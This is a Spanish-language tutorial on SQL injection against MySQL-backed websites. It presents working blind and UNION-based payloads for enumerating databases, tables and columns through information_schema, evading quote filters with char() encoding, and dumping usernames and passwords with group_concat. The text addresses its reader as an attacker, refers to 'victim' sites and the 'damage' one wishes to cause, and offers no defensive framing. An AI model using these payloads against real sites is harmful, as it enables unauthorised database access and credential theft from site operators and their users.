Sentencias a necesitar:

- database() devuelve el nombre de la base de datos actualmente seleccionada, o NULL si no hay ninguna seleccionada. Ejemplo: "SELECT DATABASE()" en el código anterior nos devolverá "test".

- user() retorna el nombre de usuario y host actual, es decir, el usuario que estamos usando para realizar las consultas. Ejemplo: "SELECT USER()" en el código anterior nos devolverá "tester".

- count(*) cuenta la cantidad de registros en una tabla. Ejemplo: "SELECT COUNT(*) FROM user" nos devuelve la cantidad de registros en la tabla user, es decir 3.

- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

- substring(str, pos, len) dado un string str nos devuelve el substring contenido a partir de la posición pos, y con un largo de len caracteres. Ejemplo: "SELECT SUBSTRING('ITFreek', 3, 5)" retorna 'Freek'.

- lower(str) retorna el string pasado por parámetro utilizando sólo minúsculas. Ejemplo: "SELECT LOWER('ITFreek')" retorna 'itfreek'.

- upper(str) la contrapartida de lower, es decir, nos devuelve todos los caracteres del string en mayúsculas. Ejemplo: "SELECT UPPER('ITFreek')" retorna ITFREEK. En la práctica solo utilizaremos lower o upper, no los dos.

Averiguando si una tabla existe

Suponiendo que conocemos el nombre de una tabla del sitio víctima, debemos cerciorarnos de que exista realmente y esto lo logramos inyectando la sentencia:

and select count(*) from tablaX

De esta manera se realizara la petición de contar todos los campos de la tabla X y en caso de existir el sitio continuara mostrándose normal sin tirar algún tipo de error.

Averiguando si los campos existen

De la misma forma con la cual verificamos si la tabla existe, averiguaremos los campos y la siguiente línea nos revela como:

and select count(id) from tablaX

En este caso, en lugar de contar todos los campos de la tabla, le estamos pidiendo que cuente solo los del campo imaginario “id”, que en caso de existir, el sitio no ha de tirar ningún error, es entonces cuando sabremos que vamos por buen camino.

Averiguando datos letra por letra

Ahora que conocemos el nombre de la tabla y unos cuantos campos, supongamos que:

Tabla: Registros

Id | Nombre | Usuario |Email | Password

Esta es la información que poseemos actualmente, pero también queremos conocer los datos de un usuario con id=x, entonces ¿Qué es lo que hacemos?, buscamos los caracteres uno a uno hasta tener una palabra ante nosotros, pero primero debemos conocer la extensión de la palabra con ayuda de la función length():

and (select length(Nombre) from Registros where id=1)<10

Básicamente estamos tratando de igualar un valor al de la extensión de la palabra, la manera más rápida es comparando mayores que o menores que para determinar un rango y así igualar directamente al valor más acercado hasta encontrarlo, si el sitio no muestra ningún error (nos da FALSE) entonces ya tenemos el tamaño, el cual supondremos es **3**.

Perfecto, ya tenemos en mente que debemos buscar 3 caracteres para deducir el Nombre de un usuario, ahora es tiempo de desenmascararlos, pero, nos encontramos con que, inclusive suponiendo que el nombre incluya solo letras, existen 27 letras y esas se dividen en mayúsculas y minúsculas cuyo caracteres no son los mismos en programación así que este número se multiplica por 2, tenemos entonces 54 opciones para buscar, si queremos reducir la búsqueda existen ciertas funciones que nos apoyaran mucho las cuales son substring(), lower(), upper():

and (select upper(substring(Nombre,1,1)) from Registros where id=1)>’M’

Así es, has visto un mayor que seguido de la letra “M”, ¿Cómo es posible esto?, bueno aquí nosotros podemos dividir el abecedario a la mitad, entonces le estamos preguntando si el carácter es mayor a “M” o mejor dicho si son las letras en mayúsculas de la “N” a la “Z”, de tirar error no queda de otra, el carácter se encuentra entre las letras “A” y “L”, listo, tenemos un rango, pero ahora hay que seguir probando hasta que este rango sea un solo carácter especifico, digamos que el nombre buscado es “Bob”, entonces si queremos darnos una idea podemos escribir:

and (select upper(substring(Nombre,1,1)) from Registros where id=1)<’C’

Estamos diciendo que ahora la mitad parte de “C”, hacia atrás, entonces como “B” va antes de “C” el sitio no nos dará error, bueno como sabemos que en la primera ronda el carácter se encuentra entre “A” y “L” y en la segunda era menor a “C” nos quedan solo 2 letras “A” y “B”, las cuales podemos igualar sin problemas, pero para estar seguros tendremos que volver a comparar pero esta vez a partir de “A”.

and (select upper(substring(Nombre,1,1)) from Registros where id=1)>’A’

Ahora le preguntamos si el carácter es mayor a la letra “A” y si todo va bien el sitio no tirara error y tendremos nuestra letra, ahora falta saber si es mayúscula o minúscula así que igualamos los 2 valores hasta que uno sea el correcto:

and (select substring(Nombre,1,1) from Registros where id=1)=’B’

and (select substring(Nombre,1,1) from Registros where id=1)=’b’

La sentencia que nos de valor TRUE nos dirá el carácter correcto, en este caso seria “B”.

Ahora pasemos al segundo carácter, para ello solo hay que cambiar el valor x del vector Nombre, es decir:

“and (select upper(substring(Nombre,2,1)) from Registros where id=1)>’M’”

Con esto le indicamos que pase al siguiente carácter y realizamos el mismo procedimiento, pero esta vez en lugar de utilizar valores como: ‘M’ debemos asignar el código ASCII de dicho valor, ya que en muchas ocasiones los servidores no admiten comillas o comillas simples, así que nos crearemos una tool para convertir los valores en código ASCII:

```
<?php
        $x = ‘Valor';
        for ($i=0; $i<strlen($x); $i++){
                $y = ord($x[$i]);
                echo $y . ',';
        }
?>
```

Esta herramienta en PHP nos permite transformar cualquier valor ingresado, ya sea carácter o letra en código ASCII, entonces sabiendo que el respectivo valor de “M” es “77” cambiamos:

and (select substring(Nombre,2,1) from Registros where id=1)>char(77)

La función char() le indica a la instrucción que se trata de un carácter. Ahora debemos repetir el procedimiento tantas veces el número de extensión o length no los indique, puesto es el número de caracteres que contiene nuestra palabra.

Obteniendo las tablas letra por letra

Para obtener el nombre de las tablas utilizaremos la base de datos central de MySQL la cual contiene información sobre todas las otras bases de datos. Esta BD se llama **information_schema** y la tabla que nos interesa se llama **tables**. Esta tiene como objetivo resguardar todas las tablas que existen en la BD.

Entonces la instrucción que necesitamos es la siguiente:

SELECT table_name FROM information_schema.tables

Pero, el problema es que si no especificamos en que base de datos buscar, nos devolverla todas las tablas que existen en el servidor, para ahorrarnos el trabajo vamos a buscar el nombre de la base de datos que corresponda al sitio utilizando la función database():

//Nombre de nuestra base de datos: copfgo

#Primero averiguamos la longitud

and (select length((select database())))=7

#Averiguamos su nombre letra por letra

#Verificamos si el primer carácter es menor que “M”

and ascii(upper(substring((select database()), 1, 1)))<77

Y así sucesivamente hasta encontrar el nombre de la base de datos. Ya en nuestro poder la consulta se puede cambiar de la siguiente forma:

SELECT table_name FROM information_schema.tables WHERE table_schema='copfgo'

Esta sentencia nos da como resultada varias tablas, así que para poder averiguar sus nombres debemos limitar la consulta para que retorne las tablas una por una. Esto se logra con la clausula LIMIT, la cual limita el número de filas retornadas.

#Modificamos la consulta

SELECT table_name FROM information_schema.tables WHERE table_schema='copfgo' LIMIT 0,1

Y ahora aplicamos el método ya conocido para averiguar el nombre de las tablas:

//Supongamos que una de nuestras tablas se llama usuarios

#Preguntamos si la primera letra de la primera tabla es mayor a M

and ascii(upper(substring((select table_name from information_schema.tables where table_schema='copfgo' limit 0,1), 1, 1)))>77

#Para obtener la primera letra de la tercera tabla

and ascii(upper(substring((select table_name from information_schema.tables where table_schema='copfgo' limit 2,1), 1, 1)))>77

Ahora que ya sabemos cómo obtener las tablas, pasamos a obtener el nombre de las columnas, esto lleva un proceso similar solo que la consulta cambia.

//Donde usuarios es el nombre de la tabla (que obtuvimos en el paso anterior), y table_schema es el nombre de la base de datos.

SELECT column_name FROM information_schema.columns WHERE table_schema='copfgo' and table_name='usuarios'

Obviamente la consulta nos devuelve todas las columnas, pero de igual manera haremos uso de la clausula LIMIT

#Modificando la consulta

SELECT column_name FROM information_schema.columns WHERE table_schema='copfgo' and table_name='usuarios' LIMIT 0,1

#Obteniendo la primera letra de la primera columna

and ascii(upper(substring((select column_name from information_schema.columns where table_schema='copfgo' and table_name='usuarios' limit 0,1), 1, 1)))>77

Y así sucesivamente con todas las letras y columnas, de igual manera podemos averiguar la extensión de la palabra.

Si deseamos averiguar e-mails podemos mejorar la consulta infiriendo si es de hotmail, yahoo o gmail. Sabemos que hotmail.com tiene 11 caracteres, que yahoo.com tiene 9, yahoo.com.ar tiene 12 y gmail.com tiene 9, por lo que podemos averiguar si el @ (cuyo ascii es 64) está en la posición length - 11, o length - 9, o length - 12.
Por ejemplo, si en la tabla está el e-mail pepe@hotmail.com, el tamaño de esta dirección es 16, por lo que si el e-mail es de hotmail, el @ estará en la posición 5 (16 - 11), si es de yahoo.com o gmail.com estará en la posición 7 (16 - 9), y si es de yahoo.com.ar estará en la posición 4 (16 - 12). Las consultas que nos dan estos datos son:

and (select(length((select email from user where id=1))))=16

and ascii(substring((select email from user where id=1), 5, 1))=64

La clausula UNION, es una herramienta potente al momento de realizar SQL I Blind, con la cual nos ahorramos horas de trabajo, por ejemplo si deseamos encontrar el nombre de la Base de Datos basta con dar la instrucción:

?id=-1 union all select 1,database(),1

Sacando el numero de columnas de la tabla X

Si, tenemos una URL vulnerable frente a nosotros pero, ¿sabemos a qué tabla pertenece el método?, es decir, estamos consientes de que el método vacía los datos desde una BD por medio de su valor, pero no sabemos a qué tabla hace la referencia, así que por ahora nos bastaremos en saber cuántas columnas posee dicha tabla. Para esto debemos escribir el siguiente código en la URL: **order+by+1,** de este modo la dirección quedaría de la siguiente manera:

?id=1 order+by+1

¿Qué sucede?, nada absolutamente nada, el sitio continua igual, pero esto es algo lógico ya que posiblemente nunca encuentres una tabla con un solo campo (columna), "order+by+1" es una sintaxis SQL la cual ordena determinada información de una DB de una determinada tabla con un determinado identificador que resulta ser el nombre de un campo, pero nosotros no le estamos proporcionando ningún nombre, sino más bien un numero, y este número nos ayudara a identificar cuantas columnas posee nuestra tabla, este número deberá elevarse hasta que en un determinado punto el sitio nos tire un error, por ejemplo, si nuestro numero fuera 7 en lugar de 1 y al momento de ejecutar la instrucción(dar ENTER al navegador) el sitio nos muestra un error dependiente de la BD, entonces sabremos que nuestra tabla posee 6 columnas.

Inyección CAST Y UNION

Averiguando nombre de las tablas

Anteriormente se había mencionado que podemos desenmascarar el nombre de tablas a través del método letra por letra, lo cual es algo muy enfadoso y tardado. En cambio la clausula UNION nos ayudara a encontrar el nombre de dichas tablas en una sola consulta que sería algo parecido a esto:

?id=-1 union all select 1,table_name,2 from information_schema.tables limit 1,1

Notaran que esta vez el identificador del método GET se encuentra negativo, esto es para evitar que retorne algún valor y así poder las respuestas a nuestras consultas. Seguido se encuentra la cláusula UNION junto con un ALL el cual puede combinar selecciones de cualquier tipo, a continuación el SELECT y los campos a buscar, en este caso se encuentra "1,table_name,2", los numero 1 y 2 son solo para completar el numero de columnas, ya que si estas no están llenas el sitio tirara error, table_name es el campo a buscar de la tabla information_schema.tables con un limite de de 1,1.

Al ejecutar esta instrucción, la respuesta retornara todas las tablas existentes en el servidor, lo cual puede ser algo innecesario , ya que solo nos interesarían las tablas relacionadas a la base de datos que utiliza nuestro sistema víctima, para ello aplicamos la sentencia:

?id=-1 union all select 1,database(),user()

Como verán, también hemos requerido el nombre de usuario, por lo cual nos retornara algo como base@localhost, donde base es el nombre de la base de datos y localhost es el nombre de usuario que ocupa el servidor.

Ahora si, conociendo el nombre de la base de datos que vaciaremos podemos modificar la consulta:

?id=-1 union all select 1,table_name,2 from information_schema.tables where table_schema=database X limit 0,1

Pero si deseamos saber el número de tablas que existen antes de buscarlas, podemos realizar la siguiente consulta:

?id=-1 union all select 1,count(table_name),2 from information_schema.tables where table_schema=database X

De esta manera, si la respuesta retorna que existen 8 tablas, con esta información podemos visualizaras todas en una sola instrucción:

?id=-1 union all select 1,table_name,2 from information_schema.tables where table_schema=database X limit 0,7

Tan solo modificamos el limite a, muéstrame las tablas a partir de la número 0 hasta la número 7, y en el sitio podrás ver el nombre de las 7 tablas.

Averiguando el nombre de las columnas

Ya con los nombres de las tablas al descubierto, desenmascarar el nombre de sus columnas es un tarea sencilla, pues se resume en la siguiente sentencia:

?id=-1 union all select 1,column_name,3 from information_schema.columns where table_schema='database X' and table_name='table X' limit 0,1

De la misma forma, podemos contar las columnas que posee nuestra tabla para adquirirlas en una sola consulta:

?id=-1 union all select 1,count(column_name),2 from information_schema.columns where table_schema=’database X’ and table_name=’table X’

Suponiendo que nuestra tabla posee 14 columnas, la sentencia se modifica de la siguiente forma:

?id=-1 union all select 1,column_name,3 from information_schema.columns where table_schema='database X' and table_name='table X' limit 0,13

Se debe recordar que no todos los servidores aceptan el uso de comillas simples (‘’), así que para poder comparar como en el caso de la sentencia anterior (table_schema=’database X’), debemos cambiar los nombres a su respectivo código ASCII, sabiendo que X = 88 en ASCII y z = 122 nuestra sentencia cambiara de la siguiente forma:

#La base de datos se llama X y la tabla z

?id=-1 union all select 1,column_name,3 from information_schema.columns where table_schema=char(88) and table_name=char(122) limit 0,13

En el caso de las palabras o mejor dicho en conjunto de caracteres, sus respectivos valores deben ser separados por comas:

#Nuestra base de datos se llama base y la tabla se llama tabla

?id=-1 union all select 1,column_name,3 from information_schema.columns where table_schema=char(98,97,115,101) and table_name=char(116,97,98,108,97) limit 0,13

Cabe destacar que los valores en ASCII no aplican igual si son mayúsculas o minúsculas, quiero decir, el valor X no es el mismo al valor x en ASCII.

Obteniendo Datos

Ahora que ya conocemos las variables necesarias para realizar el vaciado de información podemos proceder a obtener esos registros, antes que nada debemos pensar en que tabla vamos a husmear, recomiendo nombres atractivos como “usuarios”, “registros”, “administración” y cosas por el estilo que nos pueden interesar dependiendo del daño que deseemos causar. La instrucción no es más que una simple sentencia sencilla del lenguaje SQL:

#Nuestra tabla se llama usuarios y los campos que deseamos son usuario y password

#Contamos cuantos registros existen

?id = -1 union all select 1,count(usuario),2 from usuarios

#Los registros existentes son 30

?id = -1 union all select 1,usuario,password from usuarios limit 0,29

Hacemos lo mismo con otras tablas que nos interesen…

Concatenaciones

Excelente, ya conocemos distintas manera de obtener datos de una base de datos, pero nuestras habilidades pueden mejorar aun mas, en casos anteriores si queríamos obtener información de una tabla X debíamos o bien buscar en una sola fila, una sola columna y un solo carácter paso a paso para adquirir palabras completas o bien adquirir palabra por palabra de una sola columna en varias filas, no mas, ahora podremos obtener todos los campos deseados en una consulta la cual se resume de la siguiente manera:

?id=-1 union all select 1,CONCAT_WS(':',id, nombre, password),3 from usuarios limit 0,1

CONCAT_ES sirve para concatenar los parámetros deseados con un separador, es en este caso los dos puntos (:), entonces como se podrá apreciar, tenemos 3 campos en una sola columna y una sola sentencia.

Pero esto aun se puede optimizar mas, tanto que lograremos obtener toda la información de una tabla en una sola consulta:

?id=-1 union all select 1,group_concat(nombre,':',password,':',id),3 from usuarios

GROUP_CONCAT es una función existente en MySQL la cual retorna una string que contiene los valores de un grupo concatenados, los dos puntos separan las columnas y las filas son separadas por comas, pero si deseamos utilizar cualquier otro carácter utilizaremos SEPARATOR:

?id=-1 union all select 1,group_concat(nombre,':',password,':',id separator '|'),3 from usuarios